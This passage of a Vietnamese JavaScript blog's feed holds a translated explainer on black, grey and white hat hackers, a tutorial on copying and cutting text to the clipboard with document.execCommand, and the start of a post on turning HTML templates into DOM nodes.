url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAQCAYAAAAWGF8bAAAACXBIWXMAAAsTAAALEwEAmpwYAAAByElEQVQ4y3VUPUsdQRTd96JoJASDRQoLscgHqVJoYSIoKUTemXcGUwkpghhSRUQbQ+qEgEW6/IFATJN/4Q+556fIfOzuzL7nwrCX2Z1zzz333GnkXSOPRkQTY+YVY6Rv3t2/WMZougPGtGHM4HG5IlGR0GOQtAdNQL4HMeJBedg4KRKgriYQGTCu6CaW7qGIFxlgsQd0A+YlOxQMfVFSv54a8UbePRLxynwAdUsd2OS4lqZiWG5ElpPGpgfhwIYRUxEbIg5EbKZ4Oja60YzefVPcPIaPRTwL7EScGPFaxEcRuyLeiXhpHgvmZ1nmDredjnqN8k/rIvaN2BJxEWIRX0W8F/FZQZK2kbVtClE7wafhvSJiR8SxEXsivos4MuKXEZcizkQs1AzLkn3fOYt2wTiXHBgFgKDnbxGnIm5E/LQkS6qqb4prqmlJoG3Za4GViE8irkV8EPFHxJWI/0asDq1UaVg15+gwMA0s34r4JuKHiH8ivoi4NcIXiTuTzzi9GrW0lkVsizjPOv4VMTHiebbN+P4ut+MUf6xHLoykJfAn0atpbzzXNvNukHbkWhZWGHlgr0Sk05Cz15OV11bPsAUcxTg3cfjcAb6T6Hlqtj1QAAAAAElFTkSuQmCC'); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Meteor.js" title="Meteor.js" src="/static/be91e01f6429e0a690581fde7bacbdb2/86700/meteorjs-top-5-framework-javascript-completejavascript.com_.png" srcset="/static/be91e01f6429e0a690581fde7bacbdb2/103f2/meteorjs-top-5-framework-javascript-completejavascript.com_.png 165w, /static/be91e01f6429e0a690581fde7bacbdb2/86700/meteorjs-top-5-framework-javascript-completejavascript.com_.png 250w" sizes="(max-width: 250px) 100vw, 250px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Đây là một Framework JavaScript phổ biến nhất với nhiều người. Từ năm 2013, Meteor.js đã trải qua nhiều sự thay đổi khác nhau, đã làm nó phát triển và nâng cao tỉ lệ việc làm.</p> <p>Xin chào và hẹn gặp lại bạn ở bài viết tiếp theo, thân ái!</p>[email protected]<![CDATA[Phân biệt các loại hacker - black hat, grey hat và white hat]]><![CDATA[Bài viết được dịch từ website Technotification của tác giả Jagadesh siddhartha về cách phân biệt giữa các loại hacker như hacker mũ đen (black hat), hacker mũ xám (grey hat) và…]]>https://completejavascript.com/phan-biet-cac-loai-hacker-black-hat-grey-hat-va-white-hat/https://completejavascript.com/phan-biet-cac-loai-hacker-black-hat-grey-hat-va-white-hat/<![CDATA[Dịch blog]]>Mon, 14 Aug 2017 15:11:38 GMT<p>Bài viết được dịch từ website <a href="https://www.technotification.com/2017/08/black-hat-grey-hat-and-white-hat-hackers.html">Technotification</a> của tác giả <a href="https://www.technotification.com/author/sid">Jagadesh siddhartha</a> về cách phân biệt giữa các loại hacker như hacker mũ đen (black hat), hacker mũ xám (grey hat) và hacker mũ trắng (white hat).</p> <p>Từ hacker có rất nhiều ý nghĩa và trong thế giới của máy tính, nó ám chỉ "những người làm cho thiết bị chạy theo cách mà nó không được mong muốn để hoạt động". Nói chung, đây là một trong những từ dễ gây hiểu lầm nhất trong tiếng anh.</p> <p>Mọi người thường sẽ nghĩ ngay đến các thể loại tội phạm khi họ nghe thấy từ này. Nhưng thực tế từ này mang nhiều ý nghĩa hơn như vậy.</p> <p>Một cách tổng quát, hacker được chia ra làm ba loại là: black hat, grey hat và white hat.</p> <h2 id="black-hat-hacker" style="position:relative;"><a href="#black-hat-hacker" aria-label="black hat hacker permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Black hat hacker</h2> <p>Đây là những gã mà mọi người nghĩ đến khi họ nghe thấy từ hacker. Những gã này là những người xấu. Họ sử dụng năng lực và trí thông minh của mình để kiếm tiền theo những cách trái pháp luật.</p> <p>Bất cứ khi nào họ tìm thấy một kẽ hở, họ sẽ tìm cách sử dụng chúng cho lợi ích của mình và không cho chủ nhân của chúng biết về những mối đe doạ và kẽ hở đó.</p> <p>Họ cố gắng ăn cắp password, email và những thông tin liên quan đến người dùng và bán nó trên Dark Web.</p> <h2 id="grey-hat-hacker" style="position:relative;"><a href="#grey-hat-hacker" aria-label="grey hat hacker permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Grey hat hacker</h2> <p>Đây là thể loại đứng giữa hai loại hacker mũ trắng và mũ đen. Những gã này tìm ra lỗ hổng và thông báo chúng cho chính phủ, cơ quan tình báo hay đôi khi là quân đội.</p> <p>Sau đó, chính phủ sẽ sử dụng những thông tin này để hack vào một cơ quan hay một nhóm tội phạm hình sự.</p> <p>Họ có thể là cá nhân hay những nhà nghiên cứu theo đuổi việc tìm kiếm <a href="/debug-javascript-de-hay-kho/">bugs</a> và những sai sót có thể hữu ích cho chính phủ.</p> <h2 id="white-hat-hacker" style="position:relative;"><a href="#white-hat-hacker" aria-label="white hat hacker permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>White hat hacker</h2> <p>Đây là những người tốt, họ hack vào một hệ thống hay một phần mềm và sau đó thông báo nó cho những người có trách nhiệm về những bugs cần được sửa.</p> <p>Họ giúp đỡ để xây dựng một phần mềm tốt hơn và an toàn hơn. Họ kiếm tiền dưới hình thức là tiền thưởng khi thông báo cho những công ty biết về lỗ hổng bảo mật.</p> <p>Tiền thưởng là khác nhau dựa vào mức độ nghiêm trọng của lỗ hổng, tuy nhiên, nó có thể từ $500 đến $100000.</p> <p>Xin chào và hẹn gặp lại bạn ở bài viết tiếp theo, thân ái!</p>[email protected]<![CDATA[Giao tiếp với clipboard sử dụng execCommand]]><![CDATA[Khi nói đến việc copy dữ liệu vào clipboard thì không thể không kể đến thư viện clipboard.js - với hơn 24000 star trên Github, dung lượng sau nén khoảng 3kb, không phụ thuộc vào…]]>https://completejavascript.com/giao-tiep-voi-clipboard-su-dung-execcommand/https://completejavascript.com/giao-tiep-voi-clipboard-su-dung-execcommand/<![CDATA[Clipboard]]>Sun, 13 Aug 2017 22:30:17 GMT<p>Khi nói đến việc copy dữ liệu vào clipboard thì không thể không kể đến thư viện <a href="https://clipboardjs.com/">clipboard.js</a> - với hơn <a href="https://github.com/zenorocha/clipboard.js/">24000 star trên Github</a>, dung lượng sau nén khoảng 3kb, không phụ thuộc vào Flash và bất kỳ một <a href="/top-5-framework-javascript-moi-nhat-cho-phat-trien-web-va-app/">framework</a> nào, thì đây đúng là một thư viện rất đáng để sử dụng. Tuy nhiên, bạn cũng vẫn có thể trực tiếp giao tiếp với clipboard sử dụng execCommand một cách đơn giản.</p> <p>Thực tế, <a href="https://developer.mozilla.org/en-US/docs/Web/API/Document/execCommand">Document.execCommand()</a> hỗ trợ rất nhiều các <a href="/tag/command-line/">command</a> khác nhau như: <em>copy, cut, paste, bold, italic, createLink, fontName, fontSize,...</em> Tuy nhiên, bài viết này mình sẽ chỉ đề cập vào 2 phương thức chính giao tiếp với clipboard là: <em>copy, cut</em> (phương thức <em>paste</em> hiện tại không support trên web nên mình sẽ không trình bày).</p> <h2 id="ví-dụ-giao-tiếp-với-clipboard-sử-dụng-execcommand" style="position:relative;"><a href="#v%C3%AD-d%E1%BB%A5-giao-ti%E1%BA%BFp-v%E1%BB%9Bi-clipboard-s%E1%BB%AD-d%E1%BB%A5ng-execcommand" aria-label="ví dụ giao tiếp với clipboard sử dụng execcommand permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Ví dụ giao tiếp với clipboard sử dụng execCommand</h2> <p><a href="https://codepen.io/completejavascript/pen/mQWJWj"><div><iframe height='500' scrolling='no' src='//codepen.io/completejavascript/embed/preview/mQWJWj/?height=500&theme-id=dark&default-tab=html,result' frameborder='no' allowtransparency='true' allowfullscreen='true' style='width: 100%;'></iframe></div></a></p> <p>Trong ví dụ trên, bạn có thể copy dữ liệu bằng cách nhấn vào button <strong>Copy Text</strong>. Sau đó, nội dung dòng text sẽ được copy vào clipboard. Tiếp theo bạn có thể test bằng cách nhấn tổ hợp <strong>Ctrl + V</strong> vào bất cứ chỗ nào cho phép gõ text như: phần textarea trong demo, thanh ghi địa chỉ address của trình duyệt, notepad,...</p> <p>Với <strong>Cut Text</strong>, bạn cũng có thể làm tương tự để test.</p> <p>Sau khi đã chạy thử demo xong, dưới đây là phần giải thích chi tiết từng phần.</p> <h2 id="copy-dữ-liệu-vào-clipboard" style="position:relative;"><a href="#copy-d%E1%BB%AF-li%E1%BB%87u-v%C3%A0o-clipboard" aria-label="copy dữ liệu vào clipboard permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Copy dữ liệu vào Clipboard</h2> <p>Nội dung phần <strong>html</strong>:</p> <div class="gatsby-highlight" data-language="html"><pre class="language-html"><code class="language-html"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>h3</span><span class="token punctuation">></span></span>Copy<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>h3</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>p</span> <span class="token attr-name">id</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>content-copy<span class="token punctuation">"</span></span><span class="token punctuation">></span></span>This text will be inserted into the clipboard.<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>p</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>button</span> <span class="token attr-name">id</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>button-copy<span class="token punctuation">"</span></span><span class="token punctuation">></span></span>Copy Text<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>button</span><span class="token punctuation">></span></span></code></pre></div> <p>Trong đó, thẻ <em>p</em> với id <em>content-copy</em> là thành phần chứa nội dung mình muốn copy; button với id <em>button-copy</em> để kích hoạt lệnh <em>copy</em> khi người dùng click vào.</p> <blockquote> <p><strong>Chú ý</strong>: bạn có thể copy dữ liệu từ hầu hết các phần tử như: <em>thẻ p, span, div, input, textarea,...</em> Nhưng trong ví dụ này, mình chỉ demo với thẻ <em>p</em>.</p> </blockquote> <p>Tiếp theo, mình dùng <a href="https://developer.mozilla.org/en-US/docs/Web/API/Document/querySelector">querySelector</a> để lưu lại <a href="/co-ban-ve-dom-javascript/">DOM node</a> của các phần tử:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> $ <span class="token operator">=</span> document<span class="token punctuation">.</span><span class="token function">querySelector</span><span class="token punctuation">.</span><span class="token function">bind</span><span class="token punctuation">(</span>document<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">const</span> contentCopyElm <span class="token operator">=</span> <span class="token function">$</span><span class="token punctuation">(</span><span class="token string">"#content-copy"</span><span class="token punctuation">)</span><span class="token punctuation">,</span> buttonCopyElm <span class="token operator">=</span> <span class="token function">$</span><span class="token punctuation">(</span><span class="token string">"#button-copy"</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Sau đó, định nghĩa một <a href="/ham-la-gi-ham-trong-javascript/">hàm số</a> để kiểm tra xem command mình sử dụng có được support hay không, thông qua phương thức <a href="https://developer.mozilla.org/en-US/docs/Web/API/Document/queryCommandSupported">document.queryCommandSupported()</a>:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> <span class="token function-variable function">isSupported</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token parameter">cmd</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token keyword">return</span> document<span class="token punctuation">.</span><span class="token function">queryCommandSupported</span><span class="token punctuation">(</span>cmd<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span></code></pre></div> <p>Cuối cùng, xử lý khi người dùng click vào button <strong>Copy Text</strong>:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">buttonCopyElm<span class="token punctuation">.</span><span class="token function">addEventListener</span><span class="token punctuation">(</span><span class="token string">"click"</span><span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token comment">// Khai báo đối tượng range và selection.</span> <span class="token keyword">const</span> range <span class="token operator">=</span> document<span class="token punctuation">.</span><span class="token function">createRange</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">,</span> selection <span class="token operator">=</span> window<span class="token punctuation">.</span><span class="token function">getSelection</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Xoá bỏ các vùng chọn hiện tại</span> selection<span class="token punctuation">.</span><span class="token function">removeAllRanges</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Mô phỏng việc select - bôi đen nội dung của phần tử contentCopyElm</span> range<span class="token punctuation">.</span><span class="token function">selectNodeContents</span><span class="token punctuation">(</span>contentCopyElm<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Thêm range trên vào selection</span> selection<span class="token punctuation">.</span><span class="token function">addRange</span><span class="token punctuation">(</span>range<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Thử lệnh copy</span> <span class="token keyword">try</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">isSupported</span><span class="token punctuation">(</span><span class="token string">"copy"</span><span class="token punctuation">)</span><span class="token punctuation">)</span> document<span class="token punctuation">.</span><span class="token function">execCommand</span><span class="token punctuation">(</span><span class="token string">"copy"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">else</span> <span class="token function">alert</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">execCommand("copy") is not supported in your browser.</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">catch</span> <span class="token punctuation">(</span>e<span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>e<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">// Sau khi copy dữ liệu xong thì xoá bỏ các vùng chọn hiện tại</span> selection<span class="token punctuation">.</span><span class="token function">removeAllRanges</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <blockquote> <p><strong>Chú ý</strong>: phần trên chỉ áp dụng cho các thẻ có text content như thẻ: <em>p, span, div,...</em> Các thẻ không có text content như: <em>input, textarea,...</em> sẽ được áp dụng giống như phần <strong>cut dữ liệu vào clipboard</strong> dưới đây.</p> </blockquote> <h2 id="cut-dữ-liệu-vào-clipboard" style="position:relative;"><a href="#cut-d%E1%BB%AF-li%E1%BB%87u-v%C3%A0o-clipboard" aria-label="cut dữ liệu vào clipboard permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Cut dữ liệu vào Clipboard</h2> <p>Khác với <strong>copy</strong> (có thể copy dữ liệu trong nhiều loại phần tử khác nhau), <strong>cut</strong> chỉ cho phép bạn thực hiện trên các phần tử như: <em>input (text), textarea,...</em>. Vì vậy, trong phần này mình sẽ demo với thẻ <em>input</em>.</p> <p>Nội dung phần <strong>html</strong>:</p> <div class="gatsby-highlight" data-language="html"><pre class="language-html"><code class="language-html"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>h3</span><span class="token punctuation">></span></span>Cut<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>h3</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>input</span> <span class="token attr-name">id</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>content-cut<span class="token punctuation">"</span></span> <span class="token attr-name">type</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>text<span class="token punctuation">"</span></span> <span class="token attr-name">value</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>This text will be cut, then inserted into the clipboard.<span class="token punctuation">"</span></span> <span class="token punctuation">/></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>button</span> <span class="token attr-name">id</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>button-cut<span class="token punctuation">"</span></span><span class="token punctuation">></span></span>Cut Text<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>button</span><span class="token punctuation">></span></span></code></pre></div> <p>Tiếp theo là phần xử lý trong <strong>js</strong> khi người dùng click vào button <strong>Cut Text</strong>:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">buttonCutElm<span class="token punctuation">.</span><span class="token function">addEventListener</span><span class="token punctuation">(</span><span class="token string">"click"</span><span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token comment">// Tạo select nội dung của input</span> inputCutElm<span class="token punctuation">.</span><span class="token function">select</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Thử cut nội dung của input</span> <span class="token keyword">try</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">isSupported</span><span class="token punctuation">(</span><span class="token string">"cut"</span><span class="token punctuation">)</span><span class="token punctuation">)</span> document<span class="token punctuation">.</span><span class="token function">execCommand</span><span class="token punctuation">(</span><span class="token string">"cut"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">else</span> <span class="token function">alert</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">execCommand("cut") is not supported in your browser.</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">catch</span> <span class="token punctuation">(</span>e<span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>e<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Cách tạo vùng chọn trong phần này dễ hơn so với phần trước vì đối tượng DOM node ứng với <strong>input</strong> đã hỗ trợ sẵn phương thức <strong>select()</strong>.</p> <h2 id="demo-một-số-chức-năng-khác-với-execcommand" style="position:relative;"><a href="#demo-m%E1%BB%99t-s%E1%BB%91-ch%E1%BB%A9c-n%C4%83ng-kh%C3%A1c-v%E1%BB%9Bi-execcommand" aria-label="demo một số chức năng khác với execcommand permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Demo một số chức năng khác với execCommand</h2> <p>Như mình đã nói ở trên, <em>document.execCommand()</em> cho phép bạn thực hiện rất nhiều command khác ngoài <em>copy, cut</em>.</p> <p>Dưới đây là một demo đơn giản sử dụng <em>document.execCommand()</em> để chỉnh sửa nội dung - tương tự như một <strong>Text Editor</strong>:</p> <p><a href="https://codepen.io/completejavascript/pen/ZmKKwW"><div><iframe height='500' scrolling='no' src='//codepen.io/completejavascript/embed/preview/ZmKKwW/?height=500&theme-id=dark&default-tab=html,result' frameborder='no' allowtransparency='true' allowfullscreen='true' style='width: 100%;'></iframe></div></a></p> <p>Trong ví dụ trên, bạn có thể thử bôi đen text, sau đó nhấn vào các button để test các chức năng của nó. Dĩ nhiên, các chức năng mình lấy ra làm ví dụ vẫn chưa đầy đủ hết so với khả năng hỗ trợ của <em>document.execCommand()</em>. Nhưng nó cũng phần nào giúp bạn thấy được khả năng của phương thức này.</p> <h2 id="lời-kết" style="position:relative;"><a href="#l%E1%BB%9Di-k%E1%BA%BFt" aria-label="lời kết permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Lời kết</h2> <p>Trên đây là cách giao tiếp với clipboard sử dụng execCommand. Hy vọng bài viết này hữu ích với bạn. Và nếu có gì thắc mắc hoặc góp ý thì bạn có thể để lại bình luận xuống phía dưới. Mình sẽ cố gắng giải đáp.</p> <p>Xin chào và hẹn gặp lại, thân ái!</p> <p>Xem thêm:</p> <ul> <li><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Interact_with_the_clipboard">Interact with the clipboard</a></li> <li><a href="https://alligator.io/js/copying-to-clipboard/">Copying to Clipboard Using Vanilla JavaScript</a></li> <li><a href="https://tutorialzine.com/2016/10/quick-tip-accessing-the-clipboard-with-javascript">Quick Tip: Accessing The Clipboard With JavaScript</a></li> <li><a href="https://codepen.io/chrisdavidmills/full/gzYjag/">Use execCommands to edit HTML content in your browser</a></li> </ul>[email protected]<![CDATA[HTML Template sang DOM Node]]><![CDATA[Như đã nói trong bài viết trước, bài này mình sẽ hướng dẫn các bạn chuyển HTML Template sang DOM Node. Với phương pháp này, bạn không cần phải sử dụng DOMParser nữa, mà sẽ sử dụng…]]>https://completejavascript.com/chuyen-html-template-sang-dom-node/https://completejavascript.com/chuyen-html-template-sang-dom-node/<![CDATA[DOM]]><![CDATA[Event]]><![CDATA[HTML]]><![CDATA[Template]]>Sat, 12 Aug 2017 00:00:30 GMT<p>Như đã nói trong <a href="/html-string-sang-dom-node-voi-domparser/">bài viết trước</a>, bài này mình sẽ hướng dẫn các bạn chuyển HTML Template sang DOM Node. Với phương pháp này, bạn không cần phải sử dụng <a href="https://developer.mozilla.org/en-US/docs/Web/API/DOMParser">DOMParser</a> nữa, mà sẽ sử dụng trực tiếp thẻ template của HTML.</p> <h2 id="html-template" style="position:relative;"><a href="#html-template" aria-label="html template permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>HTML Template</h2> <p>Khi sử dụng thẻ <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/template">template</a> này, nội dung bên trong thẻ sẽ không được render sau khi load trang web. Thay vào đó, bạn sẽ sử dụng JavaScript để render nội dung này trong quá trình chạy.</p> <p>Sau đây là một ví dụ sử dụng HTML template:</p> <p><a href="https://codepen.io/completejavascript/pen/MVyXyp"><div><iframe height='500' scrolling='no' src='//codepen.io/completejavascript/embed/preview/MVyXyp/?height=500&theme-id=dark&default-tab=html,result' frameborder='no' allowtransparency='true' allowfullscreen='true' style='width: 100%;'></iframe></div></a></p> <p>Các bạn có thể thấy nội dung của thẻ template như sau:</p> <div class="gatsby-highlight" data-language="html"><pre class="language-html"><code class="language-html"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>template</span> <span class="token attr-name">id</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>my-temp<span class="token punctuation">"</span></span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>span</span> <span class="token attr-name">class</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>name<span class="token punctuation">"</span></span><span class="token punctuation">></span></span>a name<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>span</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>span</span> <span class="token 